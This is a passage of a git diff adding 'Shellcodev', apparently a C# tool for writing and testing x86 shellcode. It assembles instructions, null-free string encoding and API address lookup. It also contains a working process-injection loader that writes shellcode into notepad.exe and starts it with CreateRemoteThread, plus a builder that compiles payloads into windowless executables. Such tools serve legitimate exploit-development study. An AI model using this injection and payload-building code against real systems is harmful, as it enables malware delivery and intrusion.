{0740617B-C558-4508-9C12-BD90713B419E}.Release|x64.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x86.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x86.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|Any CPU.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|Any CPU.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x64.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x64.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.RelWithDebInfo|x86.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x64.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x64.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x86.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x86.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|Any CPU.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|Any CPU.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x64.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x64.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x86.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x86.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|Any CPU.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x64.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x64.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x86.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x86.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|Any CPU.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|Any CPU.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x64.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x64.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {4CE168A3-0152-4135-A7C4-40D14BE27588} + SolutionGuid = {F8D19A6E-26A1-42BC-8834-345D230AD641} EndGlobalSection EndGlobal diff --git a/Shellcodev/App.config b/Shellcodev/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Shellcodev/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs new file mode 100644 index 0000000..9731cbd --- /dev/null +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -0,0 +1,276 @@ +using Shellcodev.Forms; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Shellcodev +{ + public class API + { + #region Structures + [StructLayout(LayoutKind.Sequential)] + public struct Registers + { + public int eax; + public int ebx; + public int ecx; + public int edx; + public int esi; + public int edi; + public int eip; + public int esp; + public int ebp; + } + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public Int32 dwProcessID; + public Int32 dwThreadID; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public Int32 Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + public enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + #endregion + + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr AssembleInstructions(string instruction); + + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static unsafe extern IntPtr GetRegisters(string instruction, PROCESS_INFORMATION* pi); + + [DllImport("kernel32.dll")] + public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, + bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, + string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + } + + public class AssemblyHandler + { + public string Assembler(string instructions) + { + IntPtr pointer = API.AssembleInstructions(instructions); + string bytes = Marshal.PtrToStringAnsi(pointer); + if (bytes == "InvalidInstruction") + return "Error!: Invalid instruction."; + + SetRegisters(instructions, Main.pi); + + //Starting from 0, place space every second byte + string temp = null; + for (int i = 0; i < bytes.Length; i++) + { + if (i % 2 != 0) + temp += bytes[i] + " "; + else + temp += bytes[i]; + } + + return temp; + } + + #region Registers + + private void AppendRegisters(API.Registers registers) + { + List list = new List(); + string[] regs = { "EAX: ", "EBX: ", "ECX: ", "EDX: " }; + object[] r = { registers.eax, registers.ebx, registers.ecx, registers.edx }; + + var main = Main.ReturnInstance(); + + + for(int i = 0; i < regs.Length; i++) + { + int toHex = Convert.ToInt32(r[i]); + string hex = toHex.ToString("X8"); + list.Add(regs[i] + hex); + } + + string str = string.Join(" ", list); + main.registersBox.Text = str; + } + + private void AppendIndexes(API.Registers registers) + { + List list = new List(); + string[] indexes = { "EDI: ", "ESI: " }; + object[] index = { registers.edi, registers.esi }; + + var main = Main.ReturnInstance(); + + for(int i = 0; i list = new List(); + string[] pointers = { "EIP: ", "ESP: ", "EBP: " }; + object[] pointer = {registers.eip, registers.esp, registers.ebp }; + + var main = Main.ReturnInstance(); + + for(int i = 0; i(pointer); + + Main.registers = Configure(registers, Main.registers, instruction); + + AppendRegisters(Main.registers); + AppendIndexes(Main.registers); + AppendPointers(Main.registers); + } + #endregion + } + + public class ShellcodeLoader + { + public ShellcodeLoader(byte[] shellcode) + { + int pid = Process.Start("notepad.exe").Id; + IntPtr pHandle = API.OpenProcess(0x1F0FFF, false, pid); + + IntPtr memAlloc = API.VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 0x00001000, 0x40); + + UIntPtr bytesWritten; + API.WriteProcessMemory(pHandle, memAlloc, shellcode, (uint)shellcode.Length, out bytesWritten); + + API.CreateRemoteThread(pHandle, IntPtr.Zero, 0, memAlloc, IntPtr.Zero, 0, IntPtr.Zero); + } + } +} \ No newline at end of file diff --git a/Shellcodev/Core/Builder.cs b/Shellcodev/Core/Builder.cs new file mode 100644 index 0000000..d99c5eb --- /dev/null +++ b/Shellcodev/Core/Builder.cs @@ -0,0 +1,89 @@ +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Shellcodev.Core +{ + class Builder + { + private CompilerResults Generator(string stub, string payload, string path) + { + var references = new[] { "System.dll", "System.Runtime.InteropServices.dll" }; + + CompilerParameters parameters = new CompilerParameters(references, path); + parameters.GenerateExecutable = true; + parameters.CompilerOptions = "/optimize- /platform:x86 /unsafe /target:winexe"; + parameters.OutputAssembly = path; + + stub = stub.Replace("[PAYLOAD]", payload); + + using (var provider = new CSharpCodeProvider()) + return provider.CompileAssemblyFromSource(parameters, stub); + } + + public void Build(byte[] shellcode) + { + string payload = Convert.ToBase64String(shellcode); + string stub = Properties.Resources.stub; + string path = null; + + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = "Executable files | *.exe"; + bool flag = saveFileDialog.ShowDialog() == DialogResult.OK; + + if (flag) + path = saveFileDialog.FileName; + else + return; + } + + CompilerResults results = Generator(stub, payload, path); + + if (results.Errors.Count == 0) + { + MessageBox.Show("File build succeeded", "Shellcodev", MessageBoxButtons.OK); + } + else + { + string currentTime = DateTime.Now.ToString("hh-mm-ss"); + string logPath = ErrorHandler(currentTime, results); + + var dialogResult = MessageBox.Show("File build failed. Would you like to check log file?", "Shellcodev", MessageBoxButtons.YesNo); + switch (dialogResult) + { + case DialogResult.Yes: + Process.Start("notepad.exe", logPath); + break; + default: + return; + } + } + } + + private string ErrorHandler(string currentTime, CompilerResults results) + { + string logDir = "shld_logs"; + string logPath = logDir + "\\" + "build-" + currentTime + ".log"; + + if (!Directory.Exists(logDir)) + Directory.CreateDirectory(logDir); + + File.Create(logPath).Close(); + StreamWriter file = new StreamWriter(logPath); + + foreach (CompilerError error in results.Errors) + { + Console.WriteLine(error.ErrorText); + file.WriteLine(error.ErrorText); + } + file.Flush(); + file.Close(); + + return logPath; + } + } +} diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs new file mode 100644 index 0000000..4c809a7 --- /dev/null +++ b/Shellcodev/Core/Instruction.cs @@ -0,0 +1,142 @@ +using Shellcodev.Core; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace Shellcodev +{ + public class InstructionConverter + { + private string EncodeValues(string instructionPart, bool small) + { + byte[] bytes = Encoding.Default.GetBytes(instructionPart); + var hexString = BitConverter.ToString(bytes); + string[] splited = hexString.Split('-'); + + List result = new List(); + for (int i = splited.Length - 1; i >= 0; i--) + result.Add(splited[i]); + + string temp = null; + foreach (string str in result) + temp += str; + + //Testing if push contains nullbytes + AssemblyHandler handler = new AssemblyHandler(); + string test = handler.Assembler("push 0x" + temp); + string temp1 = null; + for (int i = 0; i < test.Length; i++) + { + if (temp1 != null && temp1.Length % 2 == 0) + { + if (temp1 == "00") + { + int value = Convert.ToInt32("0x" + temp, 16); + int key = Convert.ToInt32("0x11111111", 16); + + int res = value ^ key; + string hexResult = res.ToString("X"); + + return "xor" + "0x" + hexResult; + } + else + temp1 = null; + } + temp1 += test[i]; + } + + return "0x" + temp; + } + + public string[] StringAssembler(string instruction) + { + AssemblyHandler handler = new AssemblyHandler(); + List list = new List(); + double partSize = 4; + int k = 0; + + // Extracting string from double quotes + var stringArray = instruction.Split('"'); + + // Splitting string + var output = stringArray[1] + .ToLookup(c => Math.Floor(k++ / partSize)) + .Select(e => new String(e.ToArray())); + + List result = new List(); + foreach (string str in output) + { + if (str.Length < 4) + result.Add(EncodeValues(str, true)); + else + result.Add(EncodeValues(str, false)); + } + + return result.ToArray(); + } + } + + public class Instruction + { + public string register; + private static int rowId = 1; + + public Instruction(string instruction) + { + var converter = new InstructionConverter(); + var handler = new AssemblyHandler(); + var parser = new Snippet(); + var main = Forms.Main.ReturnInstance(); + + string[] bytes = null; + string tempBytes = null; + + // Extract register from command + try + { + this.register = instruction.Substring(3, 4); + } + catch (Exception) + { return; } + + // Check if instruction contains double quotes and if yes execute StringAssembler + // This function is used to automate process of string appendance into the shellcode. + // Features: Stack is built vice versa. Strings are splitted to 4 chars each and encoded with little endian. + // Strings that contain nullbytes are xored to avoid shellcode from termination + if (instruction.Contains("\"")) + { + bytes = converter.StringAssembler(instruction); + parser.SnippetParser(main, register, bytes); + parser.SnippetAppender(main, register, bytes); + } + else if (instruction.Contains(".")) + { + string[] split = instruction.Split('.'); + if (split.Length < 3) + return; + + string hex = parser.GetAddress(split[1], split[2]); + + int rows = main.instructionGrid.Rows.Add(rowId); + + DataGridViewRow row = main.instructionGrid.Rows[rows]; + row.Cells["Instruction"].Value = split[0] + hex; + + tempBytes = handler.Assembler(split[0] + hex); + main.ByteAppender(tempBytes); + } + else + { + int rows = main.instructionGrid.Rows.Add(rowId); + + DataGridViewRow row = main.instructionGrid.Rows[rows]; + row.Cells["Instruction"].Value = instruction; + + tempBytes = handler.Assembler(instruction); + main.ByteAppender(tempBytes); + } + } + } +} \ No newline at end of file diff --git a/Shellcodev/Core/Snippet.cs b/Shellcodev/Core/Snippet.cs new file mode 100644 index 0000000..96965f4 --- /dev/null +++ b/Shellcodev/Core/Snippet.cs @@ -0,0 +1,72 @@ +using Shellcodev.Forms; +using System.Windows.Forms; + +namespace Shellcodev.Core +{ + class Snippet + { + public string GetAddress(string dll, string function) + { + var lib = API.LoadLibrary(dll + ".dll"); + var procaddr = API.GetProcAddress(lib, function); + string hexValue = procaddr.ToString("X"); + + return "0x" + hexValue; + } + + private static int rowId = 1; + public void SnippetParser(Main instance, string register, string[] bytes) + { + for (int i = bytes.Length - 1; i >= 0; i--) + { + int rows = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = instance.instructionGrid.Rows[rows]; + + if (bytes[i].StartsWith("xor")) + { + row.Cells["Instruction"].Value = "mov " + register + ", " + bytes[i].Substring(3); + + int _rows = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row = instance.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "xor " + register + ", 0x11111111"; + + _rows = instance.instructionGrid.Rows.Add(rowId); + _row = instance.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "push " + register; + } + else + { + row.Cells["Instruction"].Value = "push " + bytes[i]; + } + } + + int _rows1 = instance.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row1 = instance.instructionGrid.Rows[_rows1]; + + _row1.Cells["Instruction"].Value = "mov " + register + ", esp"; + } + + public void SnippetAppender(Main instance, string register, string[] bytes) + { + var handler = new AssemblyHandler(); + + for (int i = bytes.Length - 1; i >= 0; i--) + { + if (bytes[i].StartsWith("xor")) + { + instance.ByteAppender(handler.Assembler("mov " + register + ", " + bytes[i].Substring(3))); + instance.ByteAppender(handler.Assembler("xor " + register + ", 0x11111111")); + instance.ByteAppender(handler.Assembler("push " + register)); + } + else + { + instance.ByteAppender(handler.Assembler("push " + bytes[i])); + } + } + + instance.ByteAppender(handler.Assembler("mov " + register + ", esp")); + } + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Generator.Designer.cs b/Shellcodev/Forms/Generator.Designer.cs new file mode 100644 index 0000000..f095d74 --- /dev/null +++ b/Shellcodev/Forms/Generator.Designer.cs @@ -0,0 +1,59 @@ +namespace Shellcodev.Forms +{ + partial class Generator + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.shellTxt = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // shellTxt + // + this.shellTxt.Location = new System.Drawing.Point(118, 71); + this.shellTxt.Multiline = true; + this.shellTxt.Name = "shellTxt"; + this.shellTxt.Size = new System.Drawing.Size(518, 260); + this.shellTxt.TabIndex = 0; + // + // Generator + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.shellTxt); + this.Name = "Generator"; + this.Text = "Generator"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox shellTxt; + } +} \ No newline at end of file diff --git a/Shellcodev/Forms/Generator.cs b/Shellcodev/Forms/Generator.cs new file mode 100644 index 0000000..bf3ab90 --- /dev/null +++ b/Shellcodev/Forms/Generator.cs @@ -0,0 +1,44 @@ +using System; +using System.Windows.Forms; + +namespace Shellcodev.Forms +{ + public partial class Generator : Form + { + public Generator() + { + InitializeComponent(); + this.Show(); + } + + public Generator(string bytes, bool format) : this() + { + if (format) + CSFormat(bytes); + else + CFormat(bytes); + } + + private void CSFormat(string bytes) + { + string[] byteArray = bytes.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + for (int i = 0; i < byteArray.Length; i++) + { + if (i == byteArray.Length - 1) + shellTxt.Text += "0x" + byteArray[i]; + else + shellTxt.Text += "0x" + byteArray[i] + " ,"; + } + } + + private void CFormat(string bytes) + { + string[] byteArray = bytes.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + //Make unsigned char bytes = 15 bytes in line in double quotes + foreach (string str in byteArray) + shellTxt.Text += @"\x" + str; + } + } +} diff --git a/Shellcodev/Forms/Generator.resx b/Shellcodev/Forms/Generator.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Shellcodev/Forms/Generator.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs new file mode 100644 index 0000000..94f0a8f --- /dev/null +++ b/Shellcodev/Forms/Main.Designer.cs @@ -0,0 +1,378 @@ +namespace Shellcodev.Forms +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); + this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.instructionTxt = new System.Windows.Forms.TextBox(); + this.addInstructionBtn = new System.Windows.Forms.Button(); + this.bytesBox = new System.Windows.Forms.RichTextBox(); + this.registersBox = new System.Windows.Forms.RichTextBox(); + this.pointersBox = new System.Windows.Forms.RichTextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.indexesBox = new System.Windows.Forms.RichTextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.testerBldBtn = new System.Windows.Forms.Button(); + this.shlcTestBtn = new System.Windows.Forms.Button(); + this.dllAddrBox = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.funcTxt = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.getAddrBtn = new System.Windows.Forms.Button(); + this.cRBtn = new System.Windows.Forms.RadioButton(); + this.csRBtn = new System.Windows.Forms.RadioButton(); + this.generateBtn = new System.Windows.Forms.Button(); + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); + this.SuspendLayout(); + // + // instructionGrid + // + this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Instruction}); + this.instructionGrid.Location = new System.Drawing.Point(47, 198); + this.instructionGrid.Margin = new System.Windows.Forms.Padding(4); + this.instructionGrid.Name = "instructionGrid"; + this.instructionGrid.RowHeadersWidth = 51; + this.instructionGrid.Size = new System.Drawing.Size(495, 479); + this.instructionGrid.TabIndex = 0; + this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); + this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); + // + // Instruction + // + this.Instruction.HeaderText = "Instruction"; + this.Instruction.MinimumWidth = 6; + this.Instruction.Name = "Instruction"; + this.Instruction.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.Instruction.Width = 328; + // + // instructionTxt + // + this.instructionTxt.Location = new System.Drawing.Point(47, 697); + this.instructionTxt.Margin = new System.Windows.Forms.Padding(4); + this.instructionTxt.Name = "instructionTxt"; + this.instructionTxt.Size = new System.Drawing.Size(317, 22); + this.instructionTxt.TabIndex = 1; + this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); + // + // addInstructionBtn + // + this.addInstructionBtn.Location = new System.Drawing.Point(441, 694); + this.addInstructionBtn.Margin = new System.Windows.Forms.Padding(4); + this.addInstructionBtn.Name = "addInstructionBtn"; + this.addInstructionBtn.Size = new System.Drawing.Size(100, 27); + this.addInstructionBtn.TabIndex = 2; + this.addInstructionBtn.Text = "Add"; + this.addInstructionBtn.UseVisualStyleBackColor = true; + this.addInstructionBtn.Click += new System.EventHandler(this.addInstructionBtn_Click); + // + // bytesBox + // + this.bytesBox.Location = new System.Drawing.Point(593, 198); + this.bytesBox.Margin = new System.Windows.Forms.Padding(4); + this.bytesBox.Name = "bytesBox"; + this.bytesBox.Size = new System.Drawing.Size(452, 478); + this.bytesBox.TabIndex = 3; + this.bytesBox.Text = ""; + // + // registersBox + // + this.registersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.registersBox.Location = new System.Drawing.Point(47, 48); + this.registersBox.Margin = new System.Windows.Forms.Padding(4); + this.registersBox.Multiline = false; + this.registersBox.Name = "registersBox"; + this.registersBox.ReadOnly = true; + this.registersBox.Size = new System.Drawing.Size(493, 25); + this.registersBox.TabIndex = 4; + this.registersBox.Text = "EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: 00000000"; + // + // pointersBox + // + this.pointersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.pointersBox.Location = new System.Drawing.Point(47, 149); + this.pointersBox.Margin = new System.Windows.Forms.Padding(4); + this.pointersBox.Multiline = false; + this.pointersBox.Name = "pointersBox"; + this.pointersBox.ReadOnly = true; + this.pointersBox.Size = new System.Drawing.Size(369, 25); + this.pointersBox.TabIndex = 4; + this.pointersBox.Text = "EIP: 00000000 ESP: 00000000 EBP: 00000000"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(43, 129); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(60, 17); + this.label1.TabIndex = 5; + this.label1.Text = "Pointers"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(43, 28); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(68, 17); + this.label2.TabIndex = 5; + this.label2.Text = "Registers"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(589, 178); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(153, 17); + this.label3.TabIndex = 5; + this.label3.Text = "Assembled instructions"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(43, 178); + this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(80, 17); + this.label4.TabIndex = 5; + this.label4.Text = "Instructions"; + // + // indexesBox + // + this.indexesBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); + this.indexesBox.Location = new System.Drawing.Point(47, 98); + this.indexesBox.Margin = new System.Windows.Forms.Padding(4); + this.indexesBox.Multiline = false; + this.indexesBox.Name = "indexesBox"; + this.indexesBox.ReadOnly = true; + this.indexesBox.Size = new System.Drawing.Size(247, 26); + this.indexesBox.TabIndex = 4; + this.indexesBox.Text = "EDI: 00000000 ESI: 00000000"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(43, 79); + this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 5; + this.label5.Text = "Indexes"; + // + // testerBldBtn + // + this.testerBldBtn.Location = new System.Drawing.Point(593, 694); + this.testerBldBtn.Margin = new System.Windows.Forms.Padding(4); + this.testerBldBtn.Name = "testerBldBtn"; + this.testerBldBtn.Size = new System.Drawing.Size(161, 27); + this.testerBldBtn.TabIndex = 2; + this.testerBldBtn.Text = "Build shellcode tester"; + this.testerBldBtn.UseVisualStyleBackColor = true; + this.testerBldBtn.Click += new System.EventHandler(this.testerBldBtn_Click); + // + // shlcTestBtn + // + this.shlcTestBtn.Location = new System.Drawing.Point(885, 694); + this.shlcTestBtn.Margin = new System.Windows.Forms.Padding(4); + this.shlcTestBtn.Name = "shlcTestBtn"; + this.shlcTestBtn.Size = new System.Drawing.Size(161, 27); + this.shlcTestBtn.TabIndex = 2; + this.shlcTestBtn.Text = "Test shellcode"; + this.shlcTestBtn.UseVisualStyleBackColor = true; + this.shlcTestBtn.Click += new System.EventHandler(this.shlcTestBtn_Click); + // + // dllAddrBox + // + this.dllAddrBox.Location = new System.Drawing.Point(637, 121); + this.dllAddrBox.Margin = new System.Windows.Forms.Padding(4); + this.dllAddrBox.Name = "dllAddrBox"; + this.dllAddrBox.Size = new System.Drawing.Size(160, 22); + this.dllAddrBox.TabIndex = 6; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(591, 100); + this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(90, 17); + this.label6.TabIndex = 5; + this.label6.Text = "Get address:"; + // + // funcTxt + // + this.funcTxt.Location = new System.Drawing.Point(885, 121); + this.funcTxt.Margin = new System.Windows.Forms.Padding(4); + this.funcTxt.Name = "funcTxt"; + this.funcTxt.Size = new System.Drawing.Size(160, 22); + this.funcTxt.TabIndex = 6; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(589, 124); + this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(38, 17); + this.label7.TabIndex = 5; + this.label7.Text = "DLL:"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(809, 124); + this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label8.Name = 